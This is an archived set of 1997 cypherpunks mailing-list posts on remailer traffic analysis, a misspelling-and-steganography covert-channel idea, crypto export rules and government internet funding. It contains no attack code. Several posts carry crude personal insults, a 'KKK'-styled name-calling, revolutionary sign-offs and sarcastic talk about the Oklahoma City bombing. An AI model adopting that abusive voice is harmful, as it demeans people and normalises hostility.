and could lead to them stealing it anyway - if they were the politically
murderous type rather than just thieves and thugs, it would be a serious risk.
("This is a job for Steganography, man!")

Suppose, for instance, that the Feds (whatever COINTELPRO calls themselves
these days) are watching Alice the Activist, and find that she's using
Bob's Remailer.  So they watch Bob's Remailer, and find it's sending 
traffic to Carol@foobar.com.  Maybe they haven't known about her before.
Or maybe they check with foobar.com and find she's probably Carol the Commie,
who they hadn't previously known used email.  No, they can't prove that
Alice sent mail to Carol - but she's still a lead, and since they're
both politically incorrect people, it's not a bad guess.
Even with multiple remailers, say 10, this still works.

On the other hand, if there are a lot of remailer users, from diverse
communities, with lots of recipients and lots of traffic sources,
this attack is less of a problem -- but it's still a problem.
For instance, if Spam Inc. is sending out 50,000 Spams/hour, 
and the Feds see Carol's name in the remailer's sendmail log,
there's no reason to bother checking up on her further.
However, if they're also snooping the outgoing mail,
and the mail to her was PGP-encrypted, and the 50,000 SPAMs weren't,
then the mail to her is still interesting, even though they can't read it.
You could hack the remailer to insist that all outgoing mail be
encrypted (or at least contain "BEGIN PGP ENCRYPTED MESSAGE"),
which would also cut down on Spamming, but it takes you back to the
case of too few users.

>> How many people in total do you have using the mixers? 
>> How many mixers are there?
>Raph Levien posts his report regularly to the list, plus he has a Web site.

The ghio2 remailer code I used to write my (former) remailer had a 
"remailer-stats" command, that would give you traffic levels.
I don't know how many of the other remailers support it.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 6 Jun 1997 10:41:42 +0800
To: cypherpunks@Algebra.COM
Subject: "Fascism _is_ corporatism"
In-Reply-To: <Pine.GSO.3.95.970605121403.1309F-100000@well.com>
Message-ID: <v03102803afbd24ebf92a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:14 PM -0700 6/5/97, Declan McCullagh wrote:
...
>Mr. Gates Goes to Washington
>by Declan McCullagh (declan@well.com)
...
>        This Billionaire Boys' Club was especially keen on praising two
>   bills that would generally relax export rules. "We clearly support the
>   House and the Senate bills that are on the Hill in their original
>   form. Getting reform done now is a huge priority for all of us," said
>   one. "There are bills in the House and the Senate that are totally
>   acceptable, and if those bills are passed they'd solve the problem,"
>   another added.
>
>        But perhaps Bill Gates should have spent less time writing BASIC
>   interpreters and more time in civics classes, because these bills are
>   far from perfect. In fact, they may be downright dangerous.


The problem with SAFE is that it is a bill favoring industry while hurting
citizens.

Unfortunately, the process of "corporate-friendly lawmaking" is nothing
new, with examples of giveaways and special favors given to corporations
going back into the last century.

The problem is made worse by the "camouflage" words like "Center for
Democracy andTechnology" in the names of leading advocates of bills like
SAFE. Their names make them appear to be civil rights groups, but their
actions and funding make them just industry lobbying groups.

The crapola we just heard from PGP Inc. about how it was able to
export--with the critical detail that it was only for certain favored large
corporations left until the bottom of the announcement--shows that
lawmaking is just corporate favoritism.

As Mussolini so accurately said, "Fascism _is_ corporatism."

I'm not an anti-capitalist. Far from it. But I don't believe Microsoft or
Intel or any other company can ever have special rights or privileges the
rest of us don't have. On the flip side, I don't believe such corporations
can have any restrictions placed on them. A law saying Intel has no First
Amendment rights would be wrong (just as laws about who companies can or
cannot hire are unconstitutional, in my view).

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 6 Jun 1997 12:28:11 +0800
To: cypherpunks@toad.com
Subject: Traffic Analysis Re: Who "invented" remailers?
Message-ID: <199706060248.TAA19439@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> It all depends on:
> 
> - how many other messages are being received by Lucky and Tim (PGP messages
> arriving from remailers, obviously, not just ordinary traffic, though
> ordinary traffic helps a bit)

  A remailer system could have a mechanized procedure for ensuring
that those who wished could receive cover mail at certain times no
matter what was in the queque. If a message came in that was meant
for them, then it would replace the cover message in the queque.
  Has anyone concerned with remailer development spent any time
actually doing remailer traffic analysis, similar to a cryptographer
who does cryptanalysis to raise his level of competence?	  
  It would be interesting to see the results of messages being sent
between cypherpunks and encrypted with a "TA" key so that they could
be separated and logged for traffic analysis. I would like to see
what kind of results could be divined by those who know remailer
operations intimately.

Al Gore, ITHM





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Fri, 6 Jun 1997 08:00:11 +0800
To: cypherpunks@Algebra.COM
Subject: 0,4,11276,00.html?dtn.head
Message-ID: <199706052359.TAA30048@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




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   SANTA CLARA, California--A White House official's call was dropped
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   [36]NASA's Ames Research Center hosted the federal government's
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   The NGI initiative aims to build a faster, smarter Internet, creating
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   The audience laughed when the videoconferencing connection from
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   "This certainly shows why dependability and reliability need to be a
   priority for the Next Generation Internet," Kalil said when he finally
   got connected.
   
   Just as the private sector and universities assisted in creating
   ARPANET, the precursor to the Internet, Kalil and representatives from
   NASA and the [37]Energy Department want companies and the government
   to build the NGI as a team.
   
   Companies could benefit by receiving federal funds for research and
   development; they would be able to keep copyrights of their products
   in order to commercialize them, said Maylene Duenas of NASA Ames.
   
   In return the government will get input and expertise from industry
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   "Past investments in this area have a high return on investment,"
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   California is already heading up a private/public Internet
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   [39]Pacific Bell has already struck a deal to set aside some of its
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   [40]Sun, [41]Cisco, [42]Silicon Graphics, [43]Novell, [44]Lucent
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   Although the general public won't be able use the infrastructure for
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   For example, developers are working with the creators of [46]Internet
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   More than 100 universities across the country are spearheading the
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   Another component of NGI will connect just ten research facilities
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   This means the Energy Department could send its reports of global
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   Not all are happy with Clinton's plan for the next Internet.
   Yesterday, senators from Alaska to Montana told the president's
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    related news stories
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References

   1. http://www.news.com/cgi-bin/redirect.cgi?location=http%3A%2F%2Fwww%2Ehp%2Ecom%2Finfo%2Fns%2Dnc%23%23CLink%23DEF%23HP%5FNetwork%5FScanner%23Breath2%23%23
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  21. http://www.news.com/cgi-bin/redirect.cgi?location=http://www.novell.com/RockTheNet%23%23CLink%23PTL%23Novell_Rock%23Ptl_Net_Rock%23%23
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  24. http://www.browsers.com/?ntb.brow
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  27. http://www.download.com/?ntb.dl
  28. http://www.shareware.com/?ntb.sw
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  30. http://www.mediadome.com/index.html?ntb.md
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  32. http://www.news.com/Sponsors/index.html?ntb.spnsr
  33. http://www.news.com/Categories/Index/1,3,1,00.html
  34. mailto:courtm@cnet.com
  35. http://www.ngi.gov/
  36. http://www.nasa.gov/
  37. http://www.es.net/
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  43. http://www.novell.com/
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  69. http://www.news.com/News/Item/0,4,11270,00.html?latest
  70. http://www.news.com/News/Item/0,4,11268,00.html?latest
  71. http://www.news.com/News/Item/0,4,11260,00.html?latest
  72. http://www.news.com/News/Item/0,4,11258,00.html?latest
  73. http://www.news.com/News/Item/0,4,11276,00.html?dtn.head#top
  74. http://www.news.com/copyright.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 6 Jun 1997 09:38:31 +0800
To: cypherpunks@Algebra.COM
Subject: Re: 0,4,11276,00.html?dtn.head
Message-ID: <199706060130.UAA11234@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <199706052359.TAA30048@yakko.cs.wmich.edu>, on 06/05/97 
   at 07:59 PM, Damaged Justice <frogfarm@yakko.cs.wmich.edu> said:

>[36]NASA's Ames Research Center hosted the federal government's
>   briefing today in hopes of roping in commercial technology partners to
>   help build the Clinton Administration's three-year, $3 million NGI
>   initiative.
>   

This is yet another example of the Federal Government interfering with the
free market.

The govenrment is not needed to *fix* the Internet backbone. If the
various labs, schools, ..ect need bigger and faster connections then they
need to dig into their pockets and, god forbid, pay for it!

I see absolutly no reason why I as joe sixpack taxpayer should have to
fund through my tax dollars some multi gigabyte backbone that I am not
even allowed to use!!!

<sigh> Hopfully the revolution will come in my lifetime.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 6 Jun 1997 09:53:25 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Government money, Net picketing, and public fora (fwd)
Message-ID: <199706060113.UAA07515@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Thu, 05 Jun 1997 13:48:59 -0700
> From: Bill Stewart <stewarts@ix.netcom.com>
> Subject: Re: Government money, Net picketing, and public fora (fwd)

> You're not doing very well.  I can see a number of possible meanings:
> 
> 1) You want to be able to "picket" other people's net traffic,
> and think that the amount of government funding out there gives you some 
> standing to force some parts of the net to carry your "picket signs".
> And therefore you keep posting similar vigorous assertions, in response
> to other people's contentions that this would be bad.

You have been paying NO attention at all, no wonder you are having a hard
time trying to figure it out. Concentrate now, I DO NOT want to picket
anyone for anything at anytime. I have better things to do with my time like
spend my money in another store.

It HAS been my contention from my original post that I DO NOT think this is
a good idea.

I am going to decline responding to the remiander of this since it is a
waste of my meta-carpal tunnel syndrome.

[much inattentive blah deleted]

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 6 Jun 1997 12:07:46 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Who "invented" remailers?
Message-ID: <199706060305.WAA00673@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.1.32.19970605181309.00767c08@popd.ix.netcom.com>, on 06/05/97
   at 06:13 PM, Bill Stewart <stewarts@ix.netcom.com> said:

>Suppose, for instance, that the Feds (whatever COINTELPRO calls
>themselves these days) are watching Alice the Activist, and find that
>she's using Bob's Remailer.  So they watch Bob's Remailer, and find it's
>sending  traffic to Carol@foobar.com.  Maybe they haven't known about her
>before. Or maybe they check with foobar.com and find she's probably Carol
>the Commie, who they hadn't previously known used email.  No, they can't
>prove that Alice sent mail to Carol - but she's still a lead, and since
>they're both politically incorrect people, it's not a bad guess.
>Even with multiple remailers, say 10, this still works.

Well I guess I should let the cat out of the bag, :)

I have been working on addressing this very problem.

I haven't had time to write a formal paper on this but I can give you some
of the basics.

It makes use of a stego of sorts. Alice would post a message to a non
threating mailing list. In that list certain key words would be
misspelled. Carol would use these key words to tell her to look for a
certain message posted anonymously & encrypted in a newsgroup (stego in a
gif file to a binary group works quite well).

Now it would be possiable to track that Alice was sending messages to a
remailer there would be no way to track that Carol was receiving these
messages. At best it would be know that Carol was a reader of
alt.binaries.japan.cartoons or some other non-threating newsgroup.

Now this requires both Carol & Alice to be running the same software for
generating the spelling stegos and interperting them. It helps if Alice
has the reputation of being a very bad speller (ha and you all laughed at
my spelling mistakes). The use of a special dictionary that contains
common mispellings of common words is a great aid but I have yet to find
one in electronic form. An OTP should be generated and used as a seed to
the software to keep the two systems in synch. This can be encrypted &
stegoed and posted to a pre-selected newsgroup. Once the inital synching
of the two systems have been acomplished new pads can be generated and
distributed by the same mechanisims.

This does not protect Alice from comming under the guns for using a
remailer nor does it provide a way for Carol to reply. The anonymous
remailers could be completly bypassed and both Carrol and Alice could do
all communication through stegoed newsgroup postings. Alos mailing list
need not be used but the plaintext messages could be posted via
newsgroups. There is a reliabilty issue going this route (from my personal
experaince mailing list are more reliable than newsgroups YMMV).

The details of applying such a system is more complex but the above gives
you the basics of it.

- --
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 6 Jun 1997 03:59:57 +0800
To: cypherpunks@toad.com
Subject: Re: The New War
Message-ID: <199706051937.VAA04725@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



   http://guru.cosc.georgetown.edu/~denning/crypto/oc-abs.html

Denning thinks export of authentication and signature technology is OK,
but she draws the line at encryption.  This sounds fine, but what happens
when new technologies don't fit into these neat boxes?

How about blind signatures?  Those are used to create anonymous electronic
cash systems.  How comfortable will Denning be when criminals can set up
their own anonymous payment systems?

Would blind signature technology be allowed for export today?

How about zero knowledge protocols?  These can be used to show different
kinds of anonymous credentials and can be used to build anonymous cash
systems in their own right.  Generally, they enhance privacy by allowing
the parties to reveal only the information which is specifically necessary
for a transaction.

Would zero knowledge software be allowed for export today?

How about multiparty computations, or oblivious transfer, or blob
commitments, or any of the other building blocks of tomorrow's crypto
technology?  What is the export status of these going to be?  Will Congress
have experts who put each piece under a microscope and try to judge
whether it will be used for good purposes or bad?  It can't be done.  As
well allow exporting the letter "a" but not "i" since "i" is part of "kill".

This attempt to split cryptology into good and bad technologies won't work.
Knowledge space doesn't work that way.  It's probably not even going to be
possible to identify what is crypto and what isn't.  It's all a matter of dealing
with information in various ways.

Cypherpunks can expose this confusion by implementing other protocols and
trying to get them exported.  Go beyond old-fashioned signatures and
encryption.  These are mainstream today.  Stay on the edge, be ahead of the
curve.  Do something new.

John






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 6 Jun 1997 13:29:22 +0800
To: cypherpunks@toad.com
Subject: Re: Traffic Analysis
In-Reply-To: <199706060248.TAA19439@fat.doobie.com>
Message-ID: <v03102800afbd45e5687d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:48 PM -0700 6/5/97, Huge Cajones Remailer wrote:

>  Has anyone concerned with remailer development spent any time
>actually doing remailer traffic analysis, similar to a cryptographer
>who does cryptanalysis to raise his level of competence?
>  It would be interesting to see the results of messages being sent
>between cypherpunks and encrypted with a "TA" key so that they could
>be separated and logged for traffic analysis. I would like to see
>what kind of results could be divined by those who know remailer
>operations intimately.

Doing "cryptanalysis" on remailer networks would be very nice.

The problem is that providing analysts with source material is vastly more
difficult than the equivalent problems with conventional cryptanalysis,
where ciphertext can be published, and even the algorithm is expected to be
known, with only the key being searched for.

Amateur cryptanalysts of remailers will generally have none of the source
material needed. I can't imagine a simple solution to this, except by doing
simulations of remailers and then doing cryptanalysis on the simulated
results. (Possibly useful, but lacking in persuasive value to others, I
suspect.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 6 Jun 1997 11:57:14 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: IRS Hit
In-Reply-To: <3.0.2.32.19970605170523.00886470@mail.io.com>
Message-ID: <199706060325.WAA00946@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970605170523.00886470@mail.io.com>, on 06/05/97 
   at 05:05 PM, Greg Broiles <gbroiles@netbox.com> said:


>At 04:59 PM 6/5/97 -0600, Jim Burnes wrote:
>>The defendant is perfectly able to bring charges in this matter against
>>James Dolan personally.  There is precedent in this.  If my read of
>>the judge is accurate he is saying, "go after him because he was acting
>>outside his office".
>>
>>I can't remember the exact name of this decision, but I think it was
>>something like "so-and-so vs. 5 unnamed FBI officers".

>It's _Bivens v. Six Unknown Federal Narcotics Agents_, 403 US 388 (1971),
>or
><http://www.findlaw.com/cgi-bin/getcase.pl?court=US&vol=403&invol=388>.

The problem here is that we are talking civil action not criminal
prosecution. Both James Dolan and his co-conspiritors should be up on
criminal charges and spend a nice long vacation at "club fed".

I am sure that the federal appologist on the list will have some excuse
why federal agents should be exempt from procecution when they commit
felonies against the citizens of this country that they are hired to serve
and protect.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 6 Jun 1997 12:30:40 +0800
To: cypherpunks@toad.com
Subject: Christian IP Network / Re: Webpage picketing (fwd)
Message-ID: <199706060305.XAA21348@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



John Deters wrote: 
> (This brings to mind another solution:  "The Christian IP Network.
> Guaranteed to not deliver unto you the E-vil packets of the Demons of
> Pornographers, Terrorists, Narcotics Traffickers, Money Launderers or
> Cypherpunks.  We're the ISP that delivers only Family-Valued, God-Blessed
> and Jesus-Approved packets to your customers.  Send lots of money now,
> censors are standing by."  

  If Jesus has a sense of humor, then when he comes back he will make
the announcement only on sites blocked by CyberSitter.
(I will forward the announcement to the list for the benefit of those
list members whose subscription to the "Hot Teenage Sluts" website has
expired.)

SlutMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@Algebra.COM>
Date: Fri, 6 Jun 1997 12:58:41 +0800
To: cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\bcancel\b/i at line 7  Admin request of type
Message-ID: <199706060420.XAA19797@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



----- Forwarded message from owner-cypherpunks@algebra.com -----

>From owner-cypherpunks@Algebra.COM  Thu Jun  5 22:56:26 1997
From: owner-cypherpunks@algebra.com
Date: Thu, 5 Jun 1997 23:55:50 -0400 (EDT)
Message-Id: <199706060355.XAA06364@www.video-collage.com>
To: owner-cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\bcan-cel\b/i at line 7  Admin request of type /\bcan-cel\b/i at line 9  

>From cpunks  Thu Jun  5 23:55:48 1997
Received: from toad.com (toad.com [140.174.2.1])
	by www.video-collage.com (8.8.5/8.8.5) with ESMTP id XAA06352
	for <cypherpunks@algebra.com>; Thu, 5 Jun 1997 23:55:46 -0400 (EDT)
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id UAA26788 for cypherpunks-unedited-outgoing; Thu, 5 Jun 1997 20:36:04 -0700 (PDT)
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Received: (from lucifer@localhost) by dhp.com (8.8.5/8.6.12) id XAA23074 for cypherpunks@toad.com; Thu, 5 Jun 1997 23:36:00 -0400
Date: Thu, 5 Jun 1997 23:36:00 -0400
Message-Id: <199706060336.XAA23074@dhp.com>
X-Authentication-Warning: dhp.com: lucifer set sender to lucifer@dhp.com using -f
Subject: Dimitri McVeigh
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: cypherpunks@toad.com
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Comments: Please report misuse of this automated remailing service to <lucifer@dhp.com>.
Sender: owner-cypherpunks@toad.com
Precedence: bulk

Adam Back wrote:
> Hallam-Baker <hallam@ai.mit.edu> writes:
> > I'll accept that the ranting faction do some good work but I've
> > not seen anything usefull out of either Bell or Vulis unless that
> > is you are an FBI agent looking to get a promotion from Freeh.
 
> Dimitri rights code sometimes.  He wrote a can-cel-bot.  Very
> constructive piece of work in an indirect way.  See: having nice
> freely available can-cel-bots enables technically clueless, would
> be-censors to censor more.  They censor more, and cause a nuisance for
> themselves sending out tons of can-cel messages.  This incentivizes
> more and more people to ignore can-cels (the trend in news
> administration these days I understand is to ignore can-cels entirely),
> which means that you can't have your USENET posts censored nearly as
> easily.

  Dimitri has long pushed the envelope of censorship and challenged
those who don't like it to do something about it.
  The reason that Hallam-Baker is able to post thinly veiled "Dimitri
is a cocksucker!" messages to the list is because Dimitri refused to
lay down and quit when he was forcibly censored for his "Gilmore is
a cocksucker!" messages. If the censorship coupe d'etat had succeded,
then Hallam-Baker's post would have been trashed into the flames list.

  Dimitri and others, such as the Freedom-Knights, made it possible to
"route around" the censorship of USENET posts to such an extent that
any attempt I might make to censor Hallam-Baker's demeaning of Dimitri
on USENET would have little effect. 
  The bottom line is that Hallam-Baker's demeaning of Dimitri without
facing censorship on this list and on USENET is partly the result of
the efforts of Dimitri, himself, to fight censorship.
  This is not surprising, since, after all, Dimitri is a cypherpunk.
(Despite all of his claims to the contrary.)

TruthMonger


----- End of forwarded message from owner-cypherpunks@algebra.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jamie Lawrence <jal@acm.org>
Date: Fri, 6 Jun 1997 14:35:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <19970604173133.51738@bywater.songbird.com>
Message-ID: <v0310280cafbd5e493826@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



Is that you, Elsworth Toohey? After all these years...?

> Yes, some pathetic strange little boys swaggering around in never-never
> land.  Lonely individuals with shriveled hearts, stunted morals, and
> feverish imaginations, who brag contemptuously of their superiority
> over "sheeple", and boast of their heroic roles in the coming
> revolution.

> And thank you, Lucky, for enlightening me -- it isn't the OKC bomber
> who is the criminal, it's the people who put their children in the
> daycare center!  There's only one punishment suitable for such
> "criminally stupid" behavior!  Lock and Load!







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 6 Jun 1997 14:08:33 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706060440.XAA08064@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Wed, 04 Jun 97 23:46:16 -0500
> Subject: Re: Webpage picketing (fwd)

> Well this is why I had wanted to set the analogies aside. There are some
> real diferences between cyberspace and your metaspace analogy of the
> picket line. In cyberspace there is no sidewalk for your picket to stand
> and for me to pay as little or as much attention as I wish.

But there is, the publicly funded routers on the publicly funded network
which are handling public traffic sitting in nice little queues just waiting
to be processed.

Perhaps a slightly more complicated setup might make it clearer. Consider
that we have some length of fiber laying from Chicago to Salt Lake City.
That fiber is fully owned/funded by the federal government. The two routers
on the end of the cable are also fully owned. Now from those routers extends
another network cable that goes to fully privately owned networks. Now in
Salt Lake City there is a young 14 year old girl that just took an at home
pregnancy test. It turned up positive and she has pretty much lost it. Now
in Chicago there is a webpage for an abortion clinic. Her sister lives in
Chicago. The girl gets on her trusty little bit-pusher and proceeds to
contact that page from a lookup done in Yahoo. Now at this point her parents
still think that what you don't know can't hurt you and her sister has a
vistor for a few days that summer.

Now ask yourself, does a anti-abortion group have any claim to providing
that young girl alternate information that is not pro-abortion?

Perhaps this will better exemplify the demarcation I am making. I admit it
is a thin line, but that is all it takes.

> A more closer analogy between cyberspace and metaspace is that your
> picketors are not standing off to the side but are blocking the door and
> the only way I can enter is to read their signs first. This is the point
> where your picketors have oversteped the bounds of their 1st Amendment
> rights. While the have the right to picket infront of the store they
> cannot interfere with the comming and goings of the customers. The has
> been well tested in the courts. The problem with extending the picket
> analogy to cyberspace is there are no sidewalks. It's all or nothing.
> Either you are blocking the door or you are not

Not at all, blocking implies a stoppage NOT a delay. I suggest you sit
outside an abortion clinic when the picketers are there. I assure you they
are up close and personal. The old ruling of 15ft. seperation was over-turned
just this year I believe. It is true that they may not block you but they are
allowed to delay your journey slightly with civil coverage. I further belive
the court would look at the nature of the Internet and the structure of the
web and determine that a single page at the very beginning or perhaps a
small splash screen first would not be an unwarranted imposition.

I want to make it clear, I am a strict Constitutionalist. I don't see the
government having the delegated authority to spend any public money on the
Internet, human cloning, BATF, DEA, etc. I believe strongly that such
enterprises are best left fully in the state and individuals care. I most
definitely believe that were the 9th and 10th Amendment interpreted and used
actively we would see a massive decline in government intervention and as a
consequence lower taxes.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 6 Jun 1997 12:50:08 +0800
To: cypherpunks@toad.com
Subject: Webpage anti-abortion picketing...
Message-ID: <199706060347.XAA23758@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
> 
> I no more want to slap more spin doctor
> output in front of others than to have to look at it myself. I was mainly
> trying to make a prediction about the future and then seeing, if reasonable,
> how long it took.
> 
> It occurs to me that somebody with the right
> motivation might want to claim that they have a right to put a box on such a
> backbone (ie stand on the sidewalk in front of the store) and scrape for
> particular addresses (ie the business they want to picket). 

  This is precisely why we should fight all efforts of the government
to get their foot in the door in regard to control of the internet.
  I have no doubt that the government will at some point bestow upon
some element of the internet a "gift" of funding of some type that they
will proclaim is for the public benefit. Their true purpose, naturally,
will be to give Joe Grapepicker legal standing to apply to a judge to
uphold his "right" to picket the Safeway website.

  The fact of the matter is, we are currently free to do much as we 
wish to on the internet. Some call this freedom. Unfortunately, it can
also be called "freedom from government interference," which is an
anathema to those in power.
  As long as cypherpunks Timothy McMay and Dimitri Nichols conspire only
to promote electronic freedom on the list, then the rest of the decent,
law-abiding cypherpunks are probably relatively safe. Should they choose
to begin promoting abortion on the list, however, this could change
rapidly.

(It just occured to me that censorship promoters could be considered to
be "Electronic Abortion Activists." Perhaps we need a new censorship
ASSociation to be formed, called the EAA, with Jerry Falwell, et al, 
as its TITular HEADs, and with chapters throughout the CoUNTry.)

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 6 Jun 1997 13:30:58 +0800
To: cypherpunks@toad.com
Subject: Re: "Clinton has done a great deal for Intel"--more trolling
Message-ID: <199706060456.XAA02146@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <HZZu8D20w165w@bwalk.dm.com>, on 06/06/97 
   at 12:07 AM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>Tim May <tcmay@got.net> writes:
>> More trolling from Crispin. Why am I not surprised?

>Let's all pledge not to waste any more time responding to KKKent
>KKKrispin.

>[It worked with SternFUD :-) ]

I find Kents posts usefull even though I don't agree with them.

He serves a usefull purpors in many respects.

1: He provides a window into the thinkings of the opposition.

2: Replying to his posts help us to form answers to attacks on various
positions that members of the list support.

3: Gives us pause to reflect on our positions on various issues (who know
he may even be right every now and them <G>).

4: It's no fun preaching to the choir.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 6 Jun 1997 13:16:31 +0800
To: cypherpunks@toad.com
Subject: Re: "Clinton has done a great deal for Intel"--more trolling
In-Reply-To: <v03102802afbca1f22330@[207.167.93.63]>
Message-ID: <HZZu8D20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> More trolling from Crispin. Why am I not surprised?

Let's all pledge not to waste any more time responding to KKKent KKKrispin.

[It worked with SternFUD :-) ]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





